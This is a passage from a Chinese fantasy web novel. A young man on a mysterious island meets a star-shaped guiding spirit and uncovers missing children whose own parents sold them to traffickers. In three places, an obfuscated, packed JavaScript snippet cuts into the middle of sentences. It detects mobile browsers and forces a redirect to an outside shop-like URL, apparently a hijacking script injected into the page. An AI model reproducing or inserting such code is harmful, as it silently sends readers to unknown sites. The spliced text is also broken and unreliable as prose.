转头望去,洛祈逐渐睁大双眼——大约就在他刚刚触碰到的地方,正中央,有波纹正小幅度荡起,仿佛一滴墨水掉进宣纸,就那么荡漾着晕染出图像——黑色的线条开始出现,一路向前、向外延伸,蜿蜒盘绕。 “这什么啊……”洛祈凑近一些,“是我眼前本来的景象吗?” 黑色线条,这是洛祈目前唯一能看到的东西。 然而没多久,线条就停了下来。 洛祈看了看自己右手上的物件,又抬起手,放在线条断口处——“咚”的一下,响起一声音符,线条再次绵延起来。 随着线条的勾勒,洛祈逐渐识别出一些花草植被的形状与轮廓,他判断自己应该确实是在丛林一隅,只是不知道为什么,会是这副样子。 接着,洛祈换用左手的物件触碰地面,那是一枚陈旧的黄色小发卡。顷刻间,空茫的视野当中,另一个“锚点”中央开始荡起波纹,黑色线条在他脚下出现,逐渐地,线条交织重叠,向外延展成了一个不甚规则的五边形。 边缘未尽,线条再一次停了下来。 正当他想要再一次用物件触碰时,脚下的线条忽然开始集体震动起来。一下一下,振幅越来越大,最后如同弹簧一般弹起来——将洛祈震得几乎站不住脚。 “啊……”洛祈被弹得栽倒过去,一屁股坐在那些黑色线条上。 “什么啊……”他有些莫名其妙。 “有人来了!” 有个声音响起来,动静很小,听起来既清脆……又好像毛茸茸的。 “谁?”洛祈左右看看,除了黑色线条什么都没看到。 “快躲起来~”那个毛茸茸的声音说。 顾不得那么多了,洛祈本能地爬起来,迅速朝着一丛已经勾勒好的灌木后躲去。 几秒之后,果然有“人”进入了洛祈的视野。 只是…… 洛祈眯起眼睛,定睛瞧着,喃喃:“那些走过来的是……人吗?” 如果按个数算,来者一共是四个人。 按外表来看,四个人都不太修边幅。目光暗沉,面颊粗糙,脸上和手上分布着疮疤,显得很脏。 但是几个“人”的身量就太奇怪了,他们几乎不是普通人的个头,而是像……洛祈想了想,像他见过的那种被充了气、会随时增大也会变小的气球人。 他们踏进洛祈眼中的黑白线条世界。 领头的那个人,若论体积算,恐怕比其他几人加起来都要大一圈。走起路的时候一弹一弹,毫无顾忌。 而他似乎还在膨胀。 他身边的那人就比他小多了——甚至算四个人里最小的,他眼珠快速滚着,步伐既碎又乱,看起来非常慌张,“老大,等等我,老大!” 洛祈这才发现他们说话的声音不是听见的,而是从线条上传过来、通过震感被大脑理解的,所以有一两秒的延迟。 剩下两个“气球人”缀在后面,时大时小,四处张望着。偶尔会露出鄙夷不屑的神情,不耐烦地抱怨那人。 四人走近一些,洛祈看到他们头顶有什么东西若隐若现,灰扑扑的。 “啊——”小个子气球人一个大跳,尖叫起来,飞也似的奔到领头身边。 显然他在害怕着什么。 随着他的尖叫飞奔,他的身躯仿佛漏气了一般,变得更小了一圈。 但洛祈什么都没看到,由此他得出结论——这些“人”眼中的这里,跟自己是不一样的。 洛祈不知道他们看到了什么,直到那个惊恐的小弟颤抖着说了话,“我、我看到了老大!啊啊啊……” 领头的老大不耐烦极了,一把甩开他,训斥道,“你有完没完!你给我闭上眼睛,啥都别看!” “是那个……”此时的小弟大概只有十几岁小孩的身量了,他颤巍巍躲在老大身后,“就是那个我弄来的小孩!我看见了,她就在那!啊啊啊啊!” 弄来的?洛祈皱起眉。 他环顾四周,想知道“弄来的”到底是什么意思。 “呵。”领头的气球人俨然已经有那人的三倍那么大了,他冷哼一声,鼻腔中喷出一股气,大摇大摆地走着,粗声粗气道:“看见了又怎么着?她爸妈都不要她,老子问心无愧!怕个屁!” 这句话说完,那个“老大”的身躯整个像被加速充了气一般,越涨越大,高高顶出洛祈的视野,最后只能看到他已经变得圆滚滚的上半身,就那么挤出这片区域。 如果现在用针戳一下,洛祈猜,说不定会嘭的一下爆炸。 那个小弟一边喊着“老大,等等我!”一边不断漏气,眼看着,就只到洛祈的一半高了。 后面两个气球人轻松地越过了他。 随着身躯的不断缩小,他只能用更多更碎的步伐,来跟上他的同伙。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587072|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很明显,他并不敢直直走过去。 而是绕了一个大圈,企图避过什么一般——洛祈看见他屏气凝神,面色铁青,而在终于快离开这片区域时,一根黑色线条轻轻绷直在他脚踝前方,将他猛地绊倒。 “啊!”他痛叫起来。摔倒在地的身躯强烈地战栗着,已经变得跟老鼠一般大小。 随后,那些黑色线条忽然数根齐发,向他飞扑过去,一圈圈扭曲环绕,将他整个人从脚到头逐渐卷起、收缩、勒紧——包裹成一卷毛线团。 洛祈捂住嘴,看呆了。 他看着那卷毛线团先是滚来滚去,似乎在不断挣扎着,尔后不过片刻,就放缓下来,最终,“毛线团”不再动了。 黑色线条开始逐寸撤回。黑色“毛线团”也一点点变小,待最后一小节线头展开,洛祈看见那里空空如也,了无痕迹,什么都没有留下。 洛祈感觉腿有点软。 黑色线条悠悠地收起,又重新勾勒,组成了花草植被的形状轮廓。眼前的景象恢复如初,仿佛刚才的一切都是幻觉。 洛祈看着自己脚下、身旁的黑色线条,总觉得它们随时可能变换成任何形态,编织出一张大网,将一切吞噬殆尽。 这太可怕了,洛祈想。他蹲在原地,甚至有点不敢动了。 “不用害怕。” 这时,那个清脆的、毛茸茸的声音再次出现:“现在可以过去了哦。”它顿了顿,“叮铃叮铃”像是在笑,又开玩笑一般,“那个人已经被消化掉了哦。” 洛祈:…… 消化? 被什么消化了? 那真的不会更可怕吗? 何况这个声音到底是从哪发出来的,洛祈转了个圈也没发现,总觉得惊悚当中又有点可爱。 “呃……刚刚我就很想说了,”终于,洛祈麻木地问,“现在跟我说话的你……是谁啊?” 多半不是人类。 尽管这个结论有点惊悚,但洛祈还是这么觉得。 “我吗?”那个声音又叮铃叮铃地响起来,“我是小祈的指导灵啊!” “你是……什么?”洛祈愣了下,指导灵是个什么东西,他晃了晃脑袋,总觉得声音离他很近,忍不住问:“你在哪啊?” “我就在你头顶啊。” “头顶?”洛祈抬起头,什么都没看见,“没有啊?我怎么没看见。” “你看不见我吗?”声音又变得毛茸茸的,“我一直在这里呀!” “还在我头顶?”洛祈往后仰起头,感觉到声音的距离似乎没变过。 “是呀!”声音回答,“好奇怪……你还是看不见吗?” “我懂了。”洛祈一瞬间福至心灵,他回正脑袋,失笑,“我想,我应该是看不见你的,正如我看不见自己的发旋儿一样。如果我没猜错,如你所说,你大概一直跟我的头顶保持动态平衡的位置吧。” “哦!是呢,”洛祈感觉那声音在头顶打了个转,“我可以看见小祈的发旋儿!” “等等……”洛祈忽然反应过来,“你是怎么知道我的名字的?” “我刚刚已经说啦,我是你的指导灵呀!”那声音回到原位,脆生生道:“不止名字,小祈的一切我都知道哦。” 22.星星指导灵 洛祈从没想过自己会碰见什么“指导灵”之类的东西,更没想过它竟然会知道自己的一切。 他很想继续问为什么会知道一切,但估计又会陷入“因为我是你的指导灵呀”这种死循环。 为了让自己的感觉不至于太惊悚,他只好不断说服自己,说不定是这个岛上的东西——毕竟这个岛看起来也不太正常。 但这个“指导灵”似乎没什么恶意。 它总是叮铃叮铃响着,听起来像是很高兴。 “所以……”洛祈问,“是每个人,都会有指导灵吗?” “嗯……”毛茸茸的声音有些犹豫,但还是很快说,“对呀,正常来说是的,如果他们的指导灵都还在的话……” 叮铃叮铃。 都还在…… 洛祈被这个说法搞蒙了:“所以指导灵就是这个岛上的东西对吗?”他感觉这个应该是正解,于是又问,“你也是刚刚出现的,对吗?” “不是呀~”出乎意料地,它否定了这个说法,“我一直都在呀!” 叮铃叮铃。 “一直都在?!”洛祈觉得有些荒唐,“你是说……你一直都在我的头顶上?” “是呀!” 叮铃叮铃。 洛祈实在忍不住了:“……是你一直在叮铃叮铃发出响声吗?” 该不是一个风铃成精了吧。 “科科科~”洛祈居然真的好像听到它嗤嗤笑了一下,“是呀~因为这是小祈第一次跟我对话呀,我好开心哦!” 叮铃叮铃,叮铃叮铃。 “第一次?”洛祈简直迷茫了,“你刚刚说,你一直在我头顶,可是我以前怎么从来没有听到过你的声音啊?” 这到底是个什么东西啊。 “真的吗?” 毛茸茸的声音变得有些沉,从头顶滑向左边、又滑到右边,语气也略带一些玩味,“你真的……没有听见过吗?” 洛祈:…… 它听起来胸有成竹的。 “呃……”洛祈犹豫,“我应该听见过吗?” “如果你没有听见过,那你当时,是怎么从那条长长的跑道上,走出来的呢?” 洛祈:? 这是在说小时候的事了。 记忆一下被拉回许多年前,洛祈不禁有些神奇:“我当时……” 当时只是觉得不能继续呆在那里了吧。 “如果你没有听见过,那你为什么会关心,你手上拿的那些东西呢?” “我……” 只是本能的,觉得那些是很重要的东西吧。 毛茸茸的声音没有等他说完,又变得有些慵懒——如果它是一只猫的形态,那么这时候应该是在悠悠舔着自己的尾巴—— “如果你没有听见过,你又是怎么一路找到这里来的呢?” “你是说,这些都跟你有关系?” 洛祈的第一反应,是回忆了一下脑中的旋律,仔细辨别后,确认跟自己现在听到的很不一样。 这才推翻了自己的猜想,应该不是一件事。 那么,它到底是什么? 一个贯穿自己生命,始终存在的“声音”吗? “本能吧。”洛祈摇头,实在想不出什么了,“或者说……直觉?” 叮铃~铃! “嗯……很接近啦!”毛茸茸的声音一震,抖羽毛似的,跳跃了一下,对这个答案似乎很满意,“要在人类世界找对应的语汇是有些难啦……不过你说的本能、直觉已经很接近啦,就是这个!” 洛祈有些恍然,这才回过味来:“所以才叫指导灵吗?” “是呀!科科~小祈很聪明呢!” “所以你是说,我那些冥冥之中不知道为什么做的决定……都跟你有关系吗?” “就是我发出的声音,被小祈接收到了哦!” 叮铃叮铃,叮铃叮铃! “那……我很想知道,”洛祈很难不开始胡思乱想,“你是什么样的啊?你有形态吗?不会是个铃铛之类的吧。” “不是啦!”毛茸茸的声音像是奶猫炸了毛,清脆地纠正,“我才不是铃铛呢,我是星星啦!星星!” “星星?”洛祈讶异,“你是说,现在有一颗星星在我的头顶吗?” “是呀,我有五个尖尖的角哦!” 嗞嗞~嗞呲~星星舒展了一下自己的两只尖角。 “可是,”洛祈纳闷地追问,“可是为什么……我以前从未这样清晰地听到你的声音呢?” “因为在人类世界里有天然的屏障,外界的声音太嘈杂了,注意力不集中的话,是一点都听不到的。”星星回答。 “那为什么我现在能听到你的声音了呢?” “因为这是星星的岛屿啊。”星星笑了,“因为现在这里不存在屏障了,所以我们就能对话啦!” 洛祈迟疑了好一会儿,才接受这个情况,他问道:“你刚刚说每个人都有指导灵……那他们的指导灵,也是星星的样子吗?” “是的哦,所有指导灵都是星星的样子。” 星星说:“每当一个小孩子诞生,就会有一只星星指导灵陪伴TA降临人间哦~” 洛祈很难说清现在是什么心情,总觉得什么都想问,却又都不知道从何问起。 甚至连他自己都没有意识到,他有多小心翼翼:“所以,从我出生起,你就在我身边了吗?” “是呀,我一直陪着你呀。” 不知道为什么,洛祈忽然感觉一抹酸意涌上鼻尖。 那些孤独而茫然的夜晚从他的脑海中一闪而过。那些因为无人陪伴而想要流泪的夜晚,他所做的,也不过是赶紧闭上眼睛,想着,睡吧,睡着了就好了。 可是现在居然有一只星星说,它一直陪伴着他。 多像是一个美妙的谎言。 可即便是谎言,洛祈也很难抗拒,本能地想要相信。 “小祈成长得很好呢!”星星跳跃了一下,“我发出的很多声音,你都接收到了哦!比很多人都要敏锐呢~” 洛祈快速眨了眨眼,深呼吸了一下,才继续道,“有很多人接收不到吗?” “是的。”星星回答,“有很多。” 洛祈追问:“那如果……如果我一直没有感受到呢?” “那我就会失去跟小祈之间的链接。” “在许多人长大的过程中,有很多的星星都被丢弃了。”星星发出呲呲的声音,像是有些哀伤,“当孩子们越来越不相信自己的时候,星星们就再也链接不到孩子们了。” “可是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597811|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”洛祈想到星星刚才说的,“如果人类世界有天然的屏障,本来就不容易听见的话,为什么还要努力去听星星发出的声音呢?” “因为星星知道答案啊。”星星说,“你遇见的所有问题,星星都知道答案。” 洛祈沉默了好一会儿。才又看了看自己周边,有些无奈地说:“我现在就遇见问题了,”他指了指前方的黑白线条,“这个要怎么破啊?” “简单。”星星说,“你走过去看看。” 洛祈沿着地面的黑色线条,走到刚刚重新勾勒出的那丛植被前,这才发现最上面那一朵半盛开的花苞中,花蕊竟是三角形的。 总觉得形状有些熟悉…… 叮铃叮铃。 手上的水晶珠串忽然开始转动起来,洛祈目不转睛地盯着,很快,水晶珠就纷纷转变成了淡淡的鹅黄粉色。 啊,发卡。 洛祈想起自己刚刚拿的那枚黄色小发卡,正是三角形的。 他有些好奇,便尝试把发卡放进黑线勾勒的花蕊边框里——没想到居然刚刚好。 发卡放进去的一刹那,他耳边响起熟悉的旋律,那正是他从前在物灵感应时听到的部分。随后,黑色线条边缘开始一点点变成黄色,紧接着,奇迹般的,从花蕊到花瓣,再到叶片,整个植被开始由内而外被一点点填充颜色。 洛祈有一种自己“输对了密码”的感觉,眼前的画面从单调的黑白开始变得富有生机,就连未尽的线条也在不断延伸,组成更多的植被与陆地。 黑色线条逐渐变成闪烁的银线,在展开的途中一闪一闪地照亮周边,直到一切变得栩栩如生。 最终,银色线条离开地面,一点点向上蜿蜒,在空气中勾勒出一个大约十一二岁小女孩的轮廓。 然后边缘内部逐渐细化,她的衣物、头发、五官,最后是眼睛,就在眼睛被点上的那一秒,她几乎是瞬间完成了填色。 银线隐去,女孩眨了眨眼,笑了。 她有些腼腆地冲洛祈挥了挥手。 而那枚陈旧的小发卡,恰好就别在她的头上。 这俨然是一个真人,洛祈不敢怠慢,只是指了指那枚发卡,轻声问她,“这是你的发卡吗?” 女孩顺着他的目光,摸到头上的发卡,随后笑着点点头。 没错了。 “你……”洛祈看看周围,有些困惑,“现在在这座岛上吗?” 女孩又点点头。 洛祈想起那个被“消化掉”的气球人,还有他口中“弄来的”小孩儿,有了不好的预感。 “你认不认识两个人……”洛祈迫切地比划着,“大概这么高,一胖一瘦,两个人脸上都有疮疤,衣服很脏……他们,对你做了什么吗?” 小女孩转过头,身后的银线继续绵延起来,勾勒出一个长方形边框,还原了刚才的整个场景。 洛祈这才知道他们都看见了什么。 边框内的画面,恐怕就是许梦扬曾看见过的,是许多零散的骸骨,和许多层被踩碎的枯枝烂叶,散布在深黑色的大地上。 天空深沉阴恻,没有月亮。 而四个人的前方,就站着这个带黄色旧发卡的小女孩,她面无表情,紧紧盯着那个小个子。 ——这才是那个人不敢走过去的原因。 23.黄色发卡 叮铃叮铃。 画面结束,银色边框似雾一般飘散。 眼前的女孩转回身,她看着洛祈,似乎不会说话。 洛祈回想起他当时拿到这枚黄色发卡时的情景。 那时,为了掌握更多的信息,洛祈正逐一拜访ICMC(国际消失儿童援助联盟)各处的驻地办事厅。 他还记得,刚到南亚最大的ICMC公示大厅时,因为初来乍到路途不熟,跟着导航的他,曾在问路的时候遇见过两个人。 尽管这已经是最大的ICMC办事处,可因为普遍的经济水平较低,基础设施仍不算完善。 一路上基本没什么路牌,路况也算不上很好。 终于到达了地图上的“目的地”,看起来确实是个办事厅,但洛祈走进去,却没有看见任何的工作人员。 他只好又出来,想找人问问。 第一个看到的,就是站在办事大厅院内的两个人。 一男一女。 一个是在台阶上坐着的中年女人,离门很近,就那么大喇喇地坐在地上,似乎早已习惯。 在她身边不远处站着一个男人,正抽着烟。 男人垂着头,脸上看不出表情,烟头的灰已经积了两三公分长,烟灰将落未落。 女人脸上的表情就清晰多了,那是一种显见的呆滞与麻木。她手里拿着一个小东西,正咔哒咔哒地无意识重复着一个动作。 洛祈走过去时,俩人谁都没理他。 “请问这里是ICMC的公示大厅吗?”他拿着手机,上面是地图上ICMC办事处的主页。 女人小幅地扭转脖子,看上去非常僵硬。她先是将面孔转了过来,尔后才把眼睛也带过来似的,空洞的眼瞳开始聚焦,看向洛祈的手机。又看了看洛祈,点了点头。 咔哒。 洛祈循着声音往下看,看见女人干枯的一双手,骨节肿胀,握着一枚黄色的小发卡,轻轻一掰,发卡打开了。 咔哒。 又轻轻一掰,发卡合上。 那个中年女人转回头,又变成一副空洞的神情,就这样不断重复着手中的动作,咔哒,咔哒,咔哒…… 发卡掰开,发卡合上。 洛祈不知道该怎么应对这个场景,只能猜个大概——也许孩子失踪了,也许这一男一女是来公示处确认有没有消息的。 他轻轻拍了拍女人的肩膀,什么都没说,进入了ICMC驻地的办事大厅。 大厅仍旧没有工作人员,洛祈只好一边看着公示屏,一边慢慢等着。 大约二十分钟后,进来两个工作人员。洛祈连忙出示自己的护照,做好登记。他说明来意,对方还算和善,便跟他简单交流了一下当地的情况。 话说完,洛祈不禁用英文问对方,知不知道门口那俩人,是什么情况。 “啊,那两个啊……”工作人员身穿当地的制服,看起来半新不旧。英文算不上流利,但交流也没什么问题,“他们的孩子丢了,一个小女孩,来了好几次了。” “这样啊……” “可能是被拐走了吧,最近时有这事发生。”工作人员心有戚戚,耸了耸肩,“可怜哦。” “平时来的人多吗?”洛祈问道。 “不少。”工作人员摸了下鼻子,“自从设立了ICMC之后,已经接到好几个类似的事情了。” 拐走了……似乎是最明确的一个方向,也是所有参与的人员最先排查的方向。 那就是人贩子吗? 洛祈皱起眉,心生一丝厌恶:“就没有线索能抓到人贩子吗?” 工作人员看向他,有些无奈:“就是没有才悬而未决,其实吧,被拐走也是我们的一个基础猜想,但没有佐证也无法定案。” 洛祈心中着急,却也没办法。情况了解得差不多了,只好先行离开。 走到门口时,那个女人依旧坐在原地,神情破败,眼中空洞,手上动作不停,无意识地掰动着小发卡。 男人则从之前的站着抽烟,换成了蹲在地上抽烟的姿势。身旁的烟头已经随地丢了好几个。一阵风吹过,灰败的烟屑飘散,粘在那人破旧的裤子上,他用手一拍,没拍掉,倒是把灰裤子上蹭出几道白印子。 洛祈多少有些触动,这太可怜了,他慢慢走到女人身边,也蹲下去,和她平视。 女人抬起头,看着他。 不知道对方听不听得懂英文,他只好一边说一边比划,大意是我会尽力帮你们找到孩子的。 话说完了,对方还是没什么表情。 这也不能强求,洛祈只好站起身,刚准备走,那个女人忽然握住了他的手腕,握得那样紧,那样用力,粗糙的手指剐蹭得手腕皮肤生疼。 洛祈被惊得回头看她,“嘶”了一小声。 接着,女人把那枚小小的黄色发卡递了过去,塞到他手里,又把他的手缓缓合上——像是交付了一个珍而重之的拜托。 洛祈感受着手中的发卡,最后对她点了点头。 而此时此刻,他真的见到了这个戴着黄色小发卡的女孩,却感觉像做梦一样。 她真的是被拐走的吗? 洛祈想到那个号称自己“问心无愧”的气球人,总觉得哪里不太对劲。 如果她是被拐走的,那又为什么会到这里来? 洛祈缓缓走近,来到女孩身边,生怕惊动什么一样,“你是怎么来到这里的?”他问,“是不是刚刚那些人,把你带来的?” 女孩看着他,摇了摇头。 “不是?”这就有些怪了,难道是自己猜错了?洛祈疑惑,“不是那些人把你拐走的?也不是他们把你带上岛的?”顿了顿,他又补了一句,“你爸妈很担心你。” 女孩轻轻退开一步,转过头,刚刚消散的银线重新生长出来,又勾勒出一幕场景——而当画面出现的时候,洛祈第一次有了一种被骗的感觉。 画面当中出现的恰是那天洛祈看到的中年男人,女孩的父亲。 只不过,此时的他要更年轻一些。 男人站在狭窄的街巷边缘,旁边停着一辆破旧的小篷车,像是在等什么人。 他手里夹着烟,依旧是半垂着头,神色不明。烟头入口,火光明灭中,他一半脸被照亮,一半脸则更加晦暗。 不消片刻,有个女人出现了,却不是洛祈在ICMC门前看到的中年女人。 她更年轻,也更有姿色,一见到中年男人,便亲昵地揽过他的胳膊,脸颊在他肩膀蹭了蹭。 “什么时候走啊?”女人问。 “再等等。”男人回身看了一眼篷车,“马上就来了。” 话音刚落,视野中出现了一个人。只一眼,洛祈就认出来了,就是那个被消化掉的“气球人”。那人的脸上从下巴到耳后,是一道连着的疮疤。 他走近了,看着一男一女,“人呢?” 男人示意身后的篷车,那人凑近一些,从灰蒙蒙的车窗望进去,转头对男人点了点头,似乎挺满意。 男人二话不说:“老规矩。” 那人掏出几张皱巴巴的纸币,递给男人,脸上的表情相当精彩,那是一种既扭曲、又有点看好戏的笑。他嗤了一声,“真行啊。” 随后打开小篷车的门,坐进驾驶座,启动车子,开走了。 男人把钱揣进兜里,年轻女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601734|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在一旁看着,全程都没当回事。 叮铃叮铃,银线消失了。 洛祈感觉自己在发抖,却不是冷的。 那个男人……在ICMC门口的时候,看起来那么灰败、颓唐、像是只能用抽烟来排遣一切的落寞。 可他在干什么? 洛祈终于明白,为什么刚刚对女孩说,你爸妈很担心你时,女孩会退开了。 她是被卖掉的。 而卖掉她的人,是她的亲生父亲。 虽然不是没想过这种可能,可是真正看到这样被还原出来的场景,洛祈还是无法自抑地感到愤怒。 可真正让洛祈深觉痛心的,是眼前的小女孩什么都知道。 洛祈没来得及去想其他更奇怪的事——比如她是怎么来到这座岛上的?他只是想到那个中年女人灰败的模样,便忍不住想告诉她,人已经找到了。 洛祈轻轻碰了碰女孩的肩膀,想看看她到底是不是真人。 好像是的。 他不知道该怎么跟女孩说父亲,只好改口,温声笑了下,指着她头上的发卡,“这个发卡,是你妈妈给我的,她很想你,也很担心你,如果你想的话,要不要去看看她?” 出乎意料地,女孩再次摇了摇头。 “为……” 洛祈刚想说话,另一件奇异的事发生了。他忽然发现,从女孩的脚下,以她为中心,向后伸展出了十几条银线—— 那些银线如草蛇,一脉向前,绵延数里,如同在地面展开了一颗树。 在银色枝桠的许多个分岔处,银线再次离开地面,向上生长,从平面变得立体,蜿蜒勾勒出了一丛丛植被,里面是一个接一个半盛开的花苞。 女孩转过了身。 洛祈的耳边再次响起旋律,还是跟刚才一样的旋律,却像是放大了十几倍,在空气中弥久不散。 水晶珠也再次转动起来,他看向自己的手腕,十几颗珠子顷刻间,已变幻成了各种颜色。 洛祈几乎感到心慌,他问:“星星……这是什么意思?” “跟刚刚一样,”星星说,“答案在你带来的东西里。” 洛祈的预感越来越不好,但还是转身,打开了背包和行李箱,他逐个触碰,里面正有一些物件在发出相同的旋律。 一个、两个、三个……洛祈最后一共拿出了十四个物件。 他带着它们走向花苞,看到了跟刚才非常类似的情况——不同的花苞里,是形状各异的花蕊边框,洛祈一边祈祷着,最好不是自己想的那种状况,一边又不得不把物件逐个匹配、对准、安放进去。 待他将物件全部匹配完毕,十四朵花苞一齐由内向外充盈色泽,直至盛放,银色的光芒于大地熠熠生辉,在花朵旁勾勒出十四个大小不一的孩子。 洛祈感觉自己的心跳都停了一拍。 眼前的画面多美啊,可是看着一个一个“活起来”的孩子们,他却感到背后生寒。 银线隐去,十四个孩子们看看自己,又互相看了看。 女孩在洛祈身前,对他们挥了挥手。 孩子们相继笑了,也跟女孩挥挥手。 紧接着,在他们的头顶上,有什么东西翻了出来,若隐若现。 洛祈忽然想到星星对他说的,每个孩子都有一个星星指导灵,于是他仔细瞧着——却发现他们头上的不是星星,而是一个个方方正正的五边形。 洛祈困惑地将所有孩子们头顶的东西都看了一遍,全部都是五边形。 他只好问星星:“那些小孩子头上的……都是什么啊?是星星吗?” “不。”星星回答,“那些是星星的墓碑。” 24.移形雾 原本洛祈以为,戴黄色发卡的小女孩不想回去见母亲,是不想连带见到那个不干人事的父亲。 可当剩下十四个孩子全部出现的时候,他才发现,事情远没有那么简单。 最靠近洛祈和小女孩的四个孩子,依次排列,是最先成型的。 两个男孩,两个女孩,看起来和黄发卡女孩差不多大,也许比她大些。 她们同源但不同枝,她们是一棵藤蔓上开的花。 四个孩子脚下的银线徐徐升起,在他们身旁分别勾勒出一幕对应的场景。 那些生动的场面让洛祈感到无比荒谬。 画面上是熟悉的小篷车,熟悉的中年男人面孔(他甚至要更年轻一些),和四个长相不同的“接货人”。 ——而更让洛祈惊讶的,是在那个男人身边,如假包换,正是当时在ICMC门前坐着的中年女人! 她是负责收钱的那个! 四个场面里,她和男人配合无间,甚至还能讨价还价,俨然是一个老手。 她脸上的笑容太过陌生。 刺痛洛祈的双眼。 洛祈无法不感到有什么东西正在逐渐瓦解、崩塌,随之而来是愈加浓烈的愤怒。 荒唐,讽刺,不可理喻。 接着,这四个新长出的孩子身后,其余那些被银色枝桠分岔出去的十个孩子身旁,也开始勾勒出各式各样的场景,地点不同,但无一例外,都大同小异。 他们性别不同、年龄不同、生活环境不同。 但他们遭遇了同样的事情。 当画面逐一展开,洛祈的心越来越沉,有那么一刻他很想大喊“够了!”停下来吧,别再让他看到了。 终于,噩梦一般的场景,结束了。 洛祈僵立在原地,早已打消带黄色发卡女孩回去的念头。 从前他无比羡慕有父母的孩子,小时候经常幻想,哪怕是有一天的父母也好啊。可是怎么能有这样的人,这样对待这些孩子? 他无法想象这些孩子当时的感受。或者说,他不敢去想。 灰色五边形在孩子们头顶缓慢地转着,毫无生机,那是星星的墓碑。 洛祈那不好的预感愈演愈烈,他甚至想到了最坏的可能。 尽管艰难,尽管抗拒,可洛祈还是把心中徘徊已久的那个问题,问出了口。 “你们……”他向前一步,对着所有孩子们,“还活着吗?” 孩子们忽然笑了。 他们看看彼此,然后齐齐对他点了点头。 他们还活着! 仿佛每一步都走在了预料之外,洛祈诧异的同时,也不禁松了口气。 可随之而来的,是更深的疑惑,洛祈忍不住又问:“你们都还活着的话,那你们——” 毫无预兆的阴风拔地而起,切断了洛祈出口的话。一时间飞沙走石。黑色线条卷土重来,不,那是更细更弥散的黑雾,瞬间笼罩了整个地面。 洛祈抬起胳膊挡住脸,要很努力才能站稳。 而凛冽的阴风在他周围,以摧枯拉朽的气势,吹散了一切。 终于洛祈被风带起,他先是踉跄地栽了个跟头,然后不知道自己往哪个方向滚了几圈,再睁眼,四周已经不再是刚才的模样。 黑雾仍然弥散在眼前,广袤无边。 随后周边的黑雾变得稀薄,中央的黑雾浓度不断增加,它们汇集、聚拢,逐渐开始出现了雏形,一个人的雏形。 但也只不过是雏形而已。 “哼,”雾形「人」冲着洛祈发出了声音,声若洪钟:“小东西,胆子不小!谁让你闯进这座岛的?” 尽管没有五官也看不见任何表情,就只是一团黑雾在说话。可洛祈还是感觉,这「人」很像是一个……女巫? 论其不正常的程度,倒是跟这座岛蛮契合的。 “我在问你话呢,小东西!”黑雾人加大音量,“你是什么来头?” “我……”洛祈把心一横,“我是洛祈!不是什么小东西,我是来调查儿童消失谜团的。” “呵呵,呵哈哈……”那「人」仿佛听了什么笑话,整团黑雾从上到下,强烈地抖动起来,“调查哈哈哈哈,没用的!让我告诉你,小东西,那些孩子们来到这里,就永远别想再回去!” 洛祈有种忽然见到了“真凶”的感觉,“是你?!”他竖起防御姿态,“是你把那些孩子们弄到这里来的?是你造成了他们的消失?你到底是谁?” “我是谁?”黑雾抖动着骤然撑大,像是无法再装进那副人形中,“我是这里的守岛人!” “守岛人?”洛祈怎么看,怎么都觉得奇怪。 “少跟我废话了,小东西!”黑雾桀桀凝聚,“任凭你做什么,那些孩子们都是有来无回,我劝你趁早离开这个地方,少管不该管的!” “那怎么行!”洛祈也不知哪里来的勇气,“我还没查清楚,不能就这样走!” “好啊,又是个不听劝的!”黑雾一震,四散开来,“你要是执意不走,下场只会跟这些家伙一样!” 立刻,有什么东西接二连三从黑雾中掉了出来,软趴趴地砸在地上。 有点眼熟。 可是太难辨认了。 洛祈微微眯起眼,尔后骤然睁大,他认出那些东西——就是之前见到过的,那三个如气球一般的人。 可此时在地上的他们,活像是已经被放光了气的扁气球,软塌塌的,俨然完全是三个空芯的人皮套了! 之前那个“老大”率先摔出,在地面垫了底,占据了最大的面积。另外两个一左一右,东倒西歪,凌乱地扭曲着。 这样的恫吓确实够可怕的。 洛祈不由自主地想起一直陪伴他的星星,他嘴唇几乎没动,牙关紧闭,但小声唤道:“星星……怎么办啊?” 没有动静。 洛祈:…… “看到了吗,小东西!”黑雾重新凝聚,仿佛饶他一命,“要是再让我发现你在这座岛上游来荡去,我就把你做成人皮标本,挂在初升的弦月上!” 黑雾震颤,阴风再次乍起,凛凛割着他的皮肤和眼睛。弥散的黑雾席卷大地,带走了一切——包括洛祈刚刚拿出来的十五个物件。 直到风渐渐停下,洛祈从弯腰的蜷缩姿态慢慢站直,眼前已经不复刚才的景象。没有银色线条,没有植被与花苞,没有孩子们,只有一片焦土。 焦土上杂乱地插着许多大小不 